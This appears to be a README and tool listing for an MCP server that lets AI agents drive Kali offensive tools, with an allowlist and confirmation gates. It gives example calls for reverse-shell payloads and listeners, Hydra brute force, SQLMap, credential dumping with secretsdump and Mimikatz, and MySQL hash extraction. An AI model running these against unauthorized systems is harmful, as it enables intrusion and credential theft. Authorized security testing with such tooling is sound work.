kali-security-bridge
This server provides an MCP-based offensive security testing toolkit that runs authorized penetration tests against allowlisted targets.
Manage the target allowlist and verify target availability before scanning.
Run Nmap port scans (with stealth options), subdomain enumeration via Subfinder, directory brute-forcing with Gobuster, and web crawling with Katana.
Perform vulnerability scans: Nikto, testssl.sh, Nuclei, Dalfox XSS, WPScan, and xmlrpc.php checks.
Test authentication and injection flaws: Hydra brute force, SQLMap SQL injection, and unrestricted file upload (CWE-434) PoCs.
Enumerate MySQL databases, tables, users, and password hashes with known credentials.
Inspect web behavior: custom HTTP requests, security header analysis, exposed sensitive file detection, and screenshots via Gowitness.
Fuzz URLs and parameters with ffuf.
Persist and manage results: list findings, resume sessions, and generate consolidated Markdown or JSON reports.
Run an autonomous full-pentest pipeline with optional brute force and evasion modes.
Allows direct enumeration and testing of MariaDB databases using the MariaDB client.
Allows direct enumeration and testing of MySQL databases using the MariaDB client.
Allows auditing WordPress installations for security vulnerabilities, including plugin/theme enumeration and known vulnerability scanning via WPScan.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@kali-security-bridgerun an nmap port scan on scanme.nmap.org"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
kali-security-bridge
An MCP server that gives Claude (or any MCP-compatible AI agent) a complete offensive security testing toolkit — reconnaissance, enumeration, web analysis, exploitation, credential access, Active Directory lateral movement, post-exploitation, and pivoting — running inside an isolated Kali Linux container, with a mandatory target allowlist, rate limiting, a confirmation gate on high-risk actions, and a full audit log.
In short: AI-driven penetration testing automation, safely sandboxed in Docker, exposed as 63 MCP tools so Claude Code, Claude Desktop, ChatGPT, or any other MCP-compatible client can run a full web app / WordPress / network / Active Directory pentest — Nmap port scanning, Nikto and Nuclei vulnerability scanning, Gobuster/ffuf directory brute forcing, SQLMap SQL injection testing, Hydra credential brute forcing, WPScan WordPress auditing, John/Hashcat hash cracking, Metasploit, reverse shell and evil-winrm session management, Impacket/BloodHound/NetExec Active Directory tooling, LinPEAS/WinPEAS privilege-escalation enumeration, Chisel/ ligolo-ng pivoting, and automated Markdown/JSON reporting — all from a chat conversation.
⚠️ Read
SECURITY.mdbefore using this. This project runs real offensive tools (hydra,sqlmap,metasploit, credential dumping, lateral movement, etc.) — only ever against targets you have explicit authorization to test.
Table of contents
Related MCP server: redteam-mcp
Architecture and infrastructure
AI client (Claude Code / Claude Desktop / ChatGPT / ...)
│ MCP — local stdio, OR remote HTTP with OAuth
▼
server.py (FastMCP) ──docker exec (no shell)──▶ kali-mcp-box container
│ (Kali Linux + tools)
▼
~/.kali-mcp/findings.db (SQLite) + audit.log + reportsThe project uses two topologies, depending on who's connecting:
Component | Used | Role |
Docker | always | Isolates the offensive tools inside their own container ( |
FastMCP (Python) | always | Implements the MCP protocol and exposes the tools; runs over |
systemd ( | remote mode | Keeps the HTTP server alive as a persistent service, with automatic restart and reboot survival ( |
AWS Cognito | remote mode | OAuth 2.1 Authorization Server — requires login before any tool call when exposed over HTTP. Never used in local stdio mode |
Cloudflare Tunnel ( | remote mode | Exposes the server on a real public domain with valid TLS. Needed even for personal remote use: OAuth registration for clients like Claude Desktop or ChatGPT is done by the vendor's own backend (Anthropic's, OpenAI's), which can't reach domains that only exist on private DNS/VPN (e.g. Tailscale's |
No GPU/CUDA is involved anywhere in this — see the requirements section.
Minimum requirements
To run locally (stdio, used with Claude Code)
Docker + Docker Compose v2
uv (manages Python 3.13 automatically)
CPU: 2 cores (limit applied to the container via
docker-compose.yml)RAM: 4 GB free (2 GB reserved for the container + host + Python process)
Disk: ~6 GB free (final image ~3 GB; the multi-stage build can spike higher during the Go compile stage)
OS: Linux or macOS with Docker Desktop. Windows works via WSL2
A user with permission on the Docker socket (
dockergroup or root)
Additional, only for remote exposure (HTTP + OAuth)
An AWS account (Cognito has a free tier — 50k MAUs/month free, plenty for personal use/small teams)
AWS CLI configured, to create the User Pool/App Client
cloudflaredinstalled (Cloudflare Tunnel) — no domain of your own needed to test (a Quick Tunnel generates a*.trycloudflare.comURL on the spot); a custom domain is recommended for permanent usesystemd (
systemctl --user) if running as a persistent service on Linux — on another OS, adapt to the equivalent process manager (launchd, etc.)
GPU / CUDA
Not used by this project. No tool in the container (nmap, sqlmap,
hydra, nuclei, etc.) depends on a GPU — everything is CPU-bound. The
docker-compose.yml reserves no GPU device, and the Dockerfile installs no
CUDA/NVIDIA drivers. If the host machine has a GPU, it sits idle as far as
this project is concerned.
Tools available in the container
Installed via apt (final image based on kalilinux/kali-rolling):
Tool | Category |
| Port/service scanning |
| SMB browsing/download — |
| Web vulnerability scanning |
| SSL/TLS analysis |
| WordPress security auditing |
| SQL injection testing |
| Credential brute forcing |
| Directory enumeration |
| Fast fuzzing |
| Exploitation (msfvenom, msfconsole) |
| Hash identification / cracking |
| Public-exploit lookup |
| Routing tool traffic through a pivot tunnel |
| Reverse engineering / forensics |
| Direct MySQL/MariaDB enumeration |
| Session management (keeps a reverse shell alive across MCP calls) |
| Interactive Telnet/FTP clients — |
| HTTP requests / rendering |
Compiled from source or fetched as a pinned prebuilt release in a separate Go
builder stage (golang:1.24-bookworm), with only the final binaries copied
into the image (keeps the final image lean):
Tool | Category |
| Subdomain enumeration |
| Web application crawling |
| Template-based CVE detection (updated at build time) |
| XSS detection |
| Screenshot evidence capture |
| Batch HTTP probing — renamed from |
| Reverse-tunnel pivoting |
| Git/filesystem secret scanning |
| Full-network pivoting via a routed tun interface |
Installed via a dedicated uv-managed Python venv (/opt/pymcp-venv, kept
off Kali's system Python), or git-cloned at a pinned tag/commit when there's
no usable PyPI package:
Tool | Category |
| AD/SMB enumeration and lateral movement (successor to CrackMapExec) |
| AD credential dumping and lateral movement |
| Active Directory attack-path collection |
| SMB/AD enumeration |
| Memory forensics |
| Binary symbolic execution |
| CTF/binary-exploitation scripting |
| JS secret extraction, JWT analysis, GraphQL fingerprinting |
| Windows session over WinRM |
| LLMNR/NBT-NS poisoning |
⚠️
graphw00fis NOT installed viapip install graphw00f. That exact name is registered on PyPI as an inert dependency-confusion decoy (its own package description says so) — the real tool only exists as a GitHub repo and is what the Dockerfile actually clones. Worth remembering before ever runningpip install <tool-name>on a name lifted from documentation without checking PyPI first.
Mimikatz is staged only when explicitly requested at build time (see
below) — it's excluded by default because it's frequently AV/registry-policy
flagged. run_mimikatz() refuses to run if it isn't present in the image.
Wordlists included: rockyou.txt (decompressed at build time), Kali's
standard wordlists (dirb, dirbuster), and a custom sensitive-paths list
(config/sensitive-paths.txt, 60+ entries — .env, database backups,
wp-config.php.bak, etc.) used by check_exposed_files.
Starting the Docker image
git clone <this-repository>
cd kali-mcp
# build the image (first time, or after updating the Dockerfile)
docker compose build
# start the container in the background — it stays alive waiting for MCP exec
docker compose up -d
# confirm it's up
docker ps --filter name=kali-mcp-boxTo force a fully fresh image (updated packages/templates, no cache):
docker compose build --no-cache
docker compose up -d # recreates the container from the new imageTo include Mimikatz (off by default — see SECURITY.md):
docker compose build --build-arg INCLUDE_OFFENSIVE_BINARIES=true
docker compose up -dRebuilding periodically is recommended — the image doesn't update itself,
and the Nuclei templates/apt packages stay frozen at build time.
Tutorials — connecting an AI client
Full step-by-step guides live in docs/tutorials/,
one per client, so this README stays a readable overview as more
integrations get added:
Client | Where it runs | Guide |
Claude Code | Same machine as the server (local | |
Claude Desktop | Any machine (remote, HTTPS + OAuth) | |
ChatGPT | Any machine (remote, HTTPS + OAuth) |
Both remote clients share the same one-time infrastructure setup — AWS
Cognito for OAuth 2.1 + a Cloudflare Tunnel for TLS — documented once in
docs/tutorials/remote-https-setup.md,
which also explains why a real public HTTPS endpoint is a hard
requirement for these clients (short version: their backends, not your
browser, perform the OAuth handshake against your server, so a private-only
address or self-signed cert simply won't work). Local stdio (Claude Code)
needs none of that, since there's no network hop for anything to
authenticate.
See docs/tutorials/README.md for the full index, including how to add a guide for another client.
MCP tools — reference and usage examples
Required workflow: add the target to the allowlist before any scan. No tool will run against an unauthorized target.
Governance
manage_allowlist — adds/removes/lists authorized targets
manage_allowlist(action="add", entry="192.168.1.10", note="lab VM — authorized on 2026-05-18")
manage_allowlist(action="list")
manage_allowlist(action="remove", entry="192.168.1.10")check_target_online — ping before any scan
check_target_online(target="192.168.1.10")resume_session — resumes an interrupted pentest, listing saved scans
resume_session(target="example.com")list_findings — queries the finding history in SQLite
list_findings(target="192.168.1.10", limit=20)generate_report — consolidates all findings for a target into one report
generate_report(target="192.168.1.10", output_format="markdown")request_high_risk_action — issues a 10-minute, single-use confirmation
token required before running a high-risk tool (credential dumping, lateral
movement, Mimikatz, netexec write/exec modes, opening a pivot tunnel)
request_high_risk_action(
action="impacket_secretsdump", target="10.0.0.20",
justification="Domain Admin creds needed to validate lateral movement per engagement scope §3.2",
)
# -> {"token": "...", "expires_at": "..."} — pass the token as confirmation_token= to the gated toolReconnaissance
scan_ports_nmap — port scanning, always the first phase
scan_ports_nmap(target="192.168.1.10", flags="-sV -F")
scan_ports_nmap(target="192.168.1.10", flags="-p 1-65535 -sV", stealth=True)
# lab targets (HTB, THM, ...) commonly report "Host seems down" against
# Nmap's default discovery despite answering plain ICMP — retry with:
scan_ports_nmap(target="10.10.10.5", skip_host_discovery=True)enumerate_ftp — anonymous (or credentialed) FTP login check + root
directory listing
enumerate_ftp(target="192.168.1.10") # anonymous:anonymous by default
enumerate_ftp(target="192.168.1.10", username="admin", password="pw")enum_subdomains_subfinder — passive subdomain reconnaissance
enum_subdomains_subfinder(domain="example.com")scan_directories_gobuster — brute-force hidden directories/files
scan_directories_gobuster(target_url="http://192.168.1.10", extensions="php,html,js,txt,bak,zip,env")
scan_directories_gobuster(target_url="https://app.local", evasion=True) # target with a WAFcrawl_application_katana — crawling to discover endpoints/parameters
crawl_application_katana(target_url="http://192.168.1.10", depth=3)scan_fuzzing_ffuf — fast fuzzing of directories, parameters, or APIs
scan_fuzzing_ffuf(target_url="http://192.168.1.10/FUZZ") # directories
scan_fuzzing_ffuf(target_url="http://192.168.1.10/page", param_name="id") # GET parameter
scan_fuzzing_ffuf(target_url="http://192.168.1.10/login", param_name="user", method="POST")Vulnerability analysis
scan_vulnerabilities_nikto — general web vulnerability scan
scan_vulnerabilities_nikto(target_url="http://192.168.1.10")scan_ssl_testssl — weak protocols/ciphers, certificates, HEARTBLEED, etc.
scan_ssl_testssl(target="app.example.com", port=443)scan_nuclei — known CVEs via templates
scan_nuclei(target_url="http://192.168.1.10", severity="high,critical")
scan_nuclei(target_url="http://192.168.1.10", tags="wordpress")scan_xss_dalfox — reflected/DOM XSS
scan_xss_dalfox(target_url="http://app.local/search?q=test")scan_wordpress_wpscan — full WordPress audit
scan_wordpress_wpscan(target_url="http://192.168.1.10", enumerate="vp,vt,u")scan_xmlrpc_wordpress — attack vectors on xmlrpc.php
scan_xmlrpc_wordpress(target_url="http://192.168.1.10")Exploitation
scan_sql_injection_sqlmap — SQL injection, always escalating risk gradually
scan_sql_injection_sqlmap(target_url="http://app.local/user?id=1", risk=1, level=1) # start herebrute_force_hydra — weak credentials on authentication services
brute_force_hydra(target="192.168.1.10", service="ssh", port=22)
brute_force_hydra(
target="192.168.1.10", service="http-post-form", port=80,
http_form_path="/wp-login.php",
http_form_data="log=^USER^&pwd=^PASS^&wp-submit=Log+In",
http_form_fail="ERROR",
)test_file_upload — PoC for unrestricted upload (CWE-434)
test_file_upload(upload_url="http://192.168.1.10/upload.php", field_name="file")enumerate_mysql_database — enumerate databases/tables/hashes with known credentials
enumerate_mysql_database(host="192.168.1.10", user="root", password="root", database="wordpress")metasploit_generate_payload — msfvenom wrapper; lhost/lport are your
own listener, so this doesn't touch the allowlist
metasploit_generate_payload(payload="linux/x64/shell_reverse_tcp", lhost="10.10.10.5", lport=4444, format="elf")metasploit_run_module — msfconsole wrapper, sets RHOSTS from target automatically
metasploit_run_module(
module="auxiliary/scanner/smb/smb_version", options={"RPORT": "445"}, target="192.168.1.10",
)Web utilities
make_http_request — custom HTTP request
make_http_request(url="http://192.168.1.10/.env")
make_http_request(url="http://192.168.1.10/api/login", method="POST", body="user=admin&pass=test")check_security_headers — CSP, HSTS, cookies, CORS, with severity
check_security_headers(target_url="https://app.local")check_exposed_files — .env, backups, phpinfo.php, etc.
check_exposed_files(target_url="http://192.168.1.10")screenshot_gowitness — visual evidence of the application
screenshot_gowitness(target_url="http://192.168.1.10/admin")Credentials
identify_hash — identifies the likely hash algorithm(s) via hashid
identify_hash(hash_value="5f4dcc3b5aa765d61d8327deb882cf99")crack_hash_john / crack_hash_hashcat — offline dictionary attacks;
cracked plaintext is returned to you and persisted encrypted (see
SECURITY.md), never logged in the clear
crack_hash_john(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_type="raw-md5")
crack_hash_hashcat(hash_value="5f4dcc3b5aa765d61d8327deb882cf99", hash_mode=0)search_exploit — Exploit-DB lookup via searchsploit; also called
automatically at the end of scan_nuclei/scan_ports_nmap for any CVE IDs
found in their output
search_exploit(query="wordpress 6.2")
search_exploit(query="CVE-2023-1234")Sessions
start_reverse_shell_listener — nc listener kept alive in a tmux session
inside the container
start_reverse_shell_listener(target="192.168.1.10", port=4444)connect_telnet — opens a Telnet session via the same tmux-backed
session mechanism as reverse shells
connect_telnet(target="192.168.1.10")
connect_telnet(target="192.168.1.10", port=2323)session_exec — sends a command to an open session, revalidates the
allowlist on every call
session_exec(session_id="a1b2c3d4e5f6", command="whoami")session_status / session_list / session_close
session_status() # list every session
session_list(target="192.168.1.10")
session_close(session_id="a1b2c3d4e5f6")Active Directory
enum_smb_shares — enum4linux-ng, read-only
enum_smb_shares(target="192.168.1.20")smb_list_dir — lists a share's contents (or a subdirectory within it)
via smbclient; use to find exact filenames before smb_get_file
smb_list_dir(target="192.168.1.20", share="share") # anonymous
smb_list_dir(target="192.168.1.20", share="share", path="backups")
smb_list_dir(target="192.168.1.20", share="share", username="admin", password="pw")smb_get_file — downloads a file from an SMB share and returns its
content directly
smb_get_file(target="192.168.1.20", share="share", remote_path="flag.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="backups/usuarios.txt")
smb_get_file(target="192.168.1.20", share="share", remote_path="secret.docx", username="admin", password="pw")enum_ad_netexec — netexec (nxc); read modes run directly, credential-
dump/exec modes require request_high_risk_action first
enum_ad_netexec(target="192.168.1.20", mode="shares")
enum_ad_netexec(target="192.168.1.20", mode="ntds", confirmation_token="...")bloodhound_collect — AD attack-path data collection
bloodhound_collect(domain="corp.local", target="192.168.1.20", username="user", password="pass")impacket_secretsdump / impacket_psexec — HIGH RISK, both require
a confirmation_token
token = request_high_risk_action(
action="impacket_secretsdump", target="192.168.1.20", justification="...",
)["token"]
impacket_secretsdump(target="192.168.1.20", username="admin", password="pw", confirmation_token=token)evil_winrm_connect — opens a WinRM session via the same tmux-backed
session mechanism as reverse shells
evil_winrm_connect(target="192.168.1.20", username="admin", password="pw")Post-exploitation
run_linpeas / run_winpeas — privilege-escalation enumeration
against an open session
run_linpeas(session_id="a1b2c3d4e5f6")
run_winpeas(session_id="a1b2c3d4e5f6")run_mimikatz — HIGH RISK, requires a confirmation_token; refuses to
run unless the image was built with INCLUDE_OFFENSIVE_BINARIES=true
run_mimikatz(session_id="a1b2c3d4e5f6", confirmation_token="...")Pivoting
start_chisel_tunnel / start_ligolo_tunnel — both require the pivot
host in the allowlist AND a confirmation_token. Opening a tunnel never adds
anything to the allowlist — any host reached through it still needs its own
manage_allowlist() entry before it can be scanned.
start_chisel_tunnel(target="192.168.1.20", local_port=9001, remote_port=8080, confirmation_token="...")
start_ligolo_tunnel(target="192.168.1.20", confirmation_token="...")pivot_scan_via_proxychains — runs any command through the tunnel
pivot_scan_via_proxychains(target="10.10.10.5", command="nmap -sV -F 10.10.10.5")Forensics / binary analysis
CTF/forensics workflow — not part of the standard web pentest flow.
analyze_memory_volatility(dump_path="/tmp/dump.raw", plugin="windows.pslist")
disassemble_binary_r2(binary_path="/tmp/vuln")
debug_binary_gdb(binary_path="/tmp/vuln", commands="break main; run; info registers")
extract_binwalk(file_path="/tmp/firmware.bin")analyze_binary_angr / exploit_pwntools_helper — EXPERIMENTAL,
execute caller-supplied Python inside the container
analyze_binary_angr(binary_path="/tmp/vuln", analysis="cfg = proj.analyses.CFGFast(); result = len(cfg.graph.nodes)")
exploit_pwntools_helper(script="from pwn import *\np = process('/tmp/vuln')\np.sendline(b'A'*40)\nprint(p.recvall())")Secrets / JS / API
scan_secrets_trufflehog(target_url_or_repo="https://github.com/org/repo.git")
scan_js_secretfinder(target_url="http://app.local/main.js")
analyze_jwt(token="eyJhbGciOiJIUzI1NiJ9...")
fingerprint_graphql_graphw00f(target_url="http://app.local/graphql")Orchestration
run_full_pentest — autonomous end-to-end pipeline (16 phases)
run_full_pentest(target="192.168.1.10")
run_full_pentest(target="example.com", target_url="https://example.com", include_brute_force=True, evasion=True)Local data (outside the repository)
Path | Contents |
| SQLite: |
| Fernet key (0600) that encrypts the |
| Audit log of every execution — sensitive fields (passwords, hashes, tokens) are redacted before logging |
| Reports generated by |
| Raw output of each scan + |
License
Available Tools
25 toolsbrute_force_hydraA
Testa credenciais fracas em serviços de autenticação usando Hydra. Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.
ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.
Serviços válidos: ssh, ftp, http-get, http-post-form, rdp, telnet, smtp, pop3, imap, smb
Para http-post-form, configure: http_form_path: caminho do formulário. Ex: "/wp-login.php", "/login" http_form_data: campos do formulário com ^USER^ e ^PASS^. Ex: "log=^USER^&pwd=^PASS^&wp-submit=Log+In" http_form_fail: string presente na resposta em caso de falha. Ex: "ERROR", "Invalid", "incorrect"
| Name | Required | Description | Default |
|---|---|---|---|
| port | Yes | Porta do serviço. | |
| target | Yes | IP ou hostname do alvo. | |
| service | Yes | Serviço a testar. Ex: "ssh", "ftp", "http-post-form" | |
| passlist | No | Wordlist de senhas no container. | /usr/share/wordlists/rockyou.txt |
| userlist | No | Wordlist de usuários no container. | /usr/share/wordlists/unix_users.txt |
| http_form_data | No | Campos POST com ^USER^ e ^PASS^ (só http-post-form). | log=^USER^&pwd=^PASS^&wp-submit=Log+In |
| http_form_fail | No | String de falha na resposta (só http-post-form). | ERROR |
| http_form_path | No | Caminho do formulário (só http-post-form). | /wp-login.php |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description discloses the destructive/impactful behavior: 'ATENÇÃO: pode bloquear contas ou gerar alertas. Use só em ambientes autorizados.' This goes beyond what annotations provide (no annotations exist), clearly indicating potential account lockouts and the need for authorization, which is critical for security testing.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is compact and front-loaded with purpose and usage. It uses bullet-like formatting for service list and parameters, making it easy to scan. Some redundancy (repeats service list in description and schema) but overall efficient and necessary context.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 8 parameters, no annotations, but an output schema, the description is complete: it explains when to use, what services are supported, how to configure complex params with examples, and the risks. It fully compensates for missing annotations and provides actionable guidance for all major aspects.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema coverage is 100%, so the schema provides descriptions for all parameters. However, the description adds critical semantics for http-post-form parameters (http_form_path, http_form_data, http_form_fail) with detailed examples, going beyond the schema's brief definitions. No extra semantics for other params, but they are self-explanatory.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: to test weak credentials on authentication services using Hydra, with a specific verb ('test') and resource ('authentication services'). It distinguishes itself from sibling tools by listing target services (SSH, FTP, HTTP-Auth, etc.) and referencing Nmap for identification, which is unique among the sibling tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly provides when to use the tool: 'Use quando Nmap identificar SSH, FTP, HTTP-Auth, RDP ou Telnet.' It also provides clear alternatives by listing valid services and warns about risks, effectively guiding the agent on appropriate usage and prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
crawl_aplicacao_katanaA
Faz crawling da aplicação web para descobrir endpoints e parâmetros usando Katana. Use após o Gobuster. URLs com parâmetros na saída são candidatas a Dalfox e SQLMap.
| Name | Required | Description | Default |
|---|---|---|---|
| depth | No | Profundidade do crawl (1-5). Padrão: 3 | |
| evasion | No | True = rate-limit 5 req/s + headers de browser real. | |
| target_url | Yes | URL base. Ex: "http://192.168.1.10" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the tool crawls the web application, but does not mention the volume of requests, potential impact on the target, rate limiting (though the 'evasion' parameter hints at rate-limit behavior), or any side effects. The description adds output usage context but lacks crucial behavioral details for a security scanning tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise—two sentences that immediately state the tool's purpose, then provide usage context and downstream hints. There is zero waste; every sentence adds value. It is front-loaded with the primary function and followed by practical guidance.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's moderate complexity (3 parameters, all documented in schema) and the presence of an output schema (which covers return values), the description is nearly complete. It explains the tool's role in the pentest pipeline and how to use its output. The only gap is behavioral transparency (e.g., request pacing, stealth), but that is addressed in dimension 3. For its purpose, the description is sufficiently complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage for all three parameters (depth, evasion, target_url) with descriptive comments. The description does not add any additional parameter-specific semantics beyond what the schema already provides. It mentions 'URLs com parâmetros na saída' but that refers to crawl output, not the tool's own parameters. Thus, the schema does the heavy lifting, and the description adds little value.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: it crawls a web application to discover endpoints and parameters using Katana. It distinguishes itself from siblings like Gobuster (directory scanning) by focusing on crawling for endpoints with parameters, and explicitly mentions that URLs with parameters are candidates for Dalfox and SQLMap, differentiating downstream use.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit sequencing guidance: 'Use após o Gobuster' (use after Gobuster), which tells the agent when to run this tool in a pentest workflow. It also suggests that output URLs with parameters should be fed into Dalfox and SQLMap, providing clear follow-up steps. However, it does not mention exclusions or alternative tools, though the context is sufficiently clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
enumerar_banco_mysqlA
Conecta diretamente ao MySQL e enumera bancos, tabelas, usuários e hashes de senha. Use quando Nmap identificar porta 3306 exposta com credenciais fracas.
Para WordPress: passe database="wordpress" para extrair hashes da tabela wp_users e quebrá-los offline com hashcat (formato phpass).
ATENÇÃO: acesso direto ao banco — use somente em ambientes autorizados.
| Name | Required | Description | Default |
|---|---|---|---|
| host | Yes | IP ou hostname do MySQL. Ex: "192.168.1.10", "vulnwp-db" | |
| port | No | Porta MySQL. Padrão: 3306 | |
| user | No | Usuário. Ex: "root", "wordpress" | root |
| database | No | Banco específico para listar tabelas. Ex: "wordpress" | |
| password | No | Senha. Ex: "root", "wordpress" | root |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so the description carries the full burden. It mentions direct access and warns about authorization, which is good. Yet it doesn't disclose whether the tool is purely read-only (enumeration) or if it performs any writes, nor does it describe potential side effects or error behavior. More transparency on safety and impact is needed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is four sentences: main purpose, when to use, an example, and a warning. It is front-loaded with the core function, uses no filler words, and every sentence adds value. Highly efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (5 params, potential security implications) and that an output schema exists, the description covers essential aspects: purpose, usage context, and authorization warning. It could mention whether it attempts default creds or how it handles authentication failures, but overall it is adequately complete for agent decision-making.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with all parameters described. The description adds value by providing a concrete use case for the 'database' parameter (passing 'wordpress' to extract hashes from wp_users) and hints at default credentials. This extra context enhances parameter understanding beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it connects to MySQL and enumerates databases, tables, users, and password hashes. It gives a concrete example (WordPress wp_users hashes) and differentiates from siblings like scan_sql_injection_sqlmap by emphasizing direct database access rather than injection.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says when to use: 'Use quando Nmap identificar porta 3306 exposta com credenciais fracas.' It also provides a specific scenario for WordPress. However, it doesn't mention alternatives or cases where it should not be used, so it's not a full 5.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
enum_subdominios_subfinderA
Enumera subdomínios via reconhecimento passivo usando Subfinder. Use quando o alvo for um domínio público, após o Nmap inicial.
| Name | Required | Description | Default |
|---|---|---|---|
| domain | Yes | Domínio raiz. Ex: "exemplo.com.br", "app.local" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must carry the transparency burden. It discloses that the enumeration is passive, implying a non-intrusive operation Android lacks details on output format, potential rate limits, or network impact. It adds minimal behavioral context beyond the passive nature, so a 3 is appropriate.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two short, front-loaded sentences. It states the action, method, and usage condition without any filler or redundancy. Every word earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool is simple with one parameter fully described in the schemaaine and an output schema present àThe description adds the key behavioral context (passive recon) and usage context (when to use: public domain, after Nmap). It doesn't explain the output details, but that's covered by the output schema. It's sufficiently complete for its simplicity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema fully describes the 'domain' parameter with an example. The description adds no additional semantic meaning beyond the schema; it just reiterates the concept of a public domain. Thus, the description provides no extra value over the schema, so a baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states precisely that the tool enumerates subdomains via passive reconnaissance using Subfinder. This clearly identifies the action (enumeration), the resource (subdomains), and the method (passive, Subfinder), effectively distinguishing it from sibling tools like scan_portas_nmap or scan_diretorios_gobuster.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides explicit guidance: use when the target is a public domain and after the initial Nmap scan. This gives clear context and a workflow trigger, though it does not explicitly state when not to use or list alternative tools for subdomain enumeration, but among the siblings there is no other subdomain tool, so it's adequate.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
fazer_requisicao_httpA
Faz requisição HTTP customizada para verificar conteúdo, headers ou testar payloads. Use para confirmar arquivos expostos (.env, phpinfo.php, backups), inspecionar responses de endpoints ou enviar payloads manuais durante verificação de evidências.
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | URL completa. Ex: "http://192.168.1.10/.env" | |
| body | No | Corpo da requisição (para POST/PUT). Ex: "user=admin&pass=test" | |
| method | No | Método HTTP. Padrão: "GET". Outros: "POST", "HEAD", "PUT" | GET |
| headers | No | Headers extras, um por linha. Ex: "Authorization: Bearer token\nX-Custom: value" | |
| timeout | No | Timeout em segundos. Padrão: 15 | |
| follow_redirects | No | Seguir redirects. Padrão: True |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of behavioral disclosure. It only states the action (custom HTTP request) and use cases, but does not mention potential side effects (e.g., POST/PUT can modify data), authentication requirements, or response structure. This is a significant gap for a tool that can send arbitrary HTTP methods.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two concise sentences, front-loaded with purpose and followed by usage examples. Every word contributes value; no fluff or repetition. The structure is efficient and immediately scannable.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
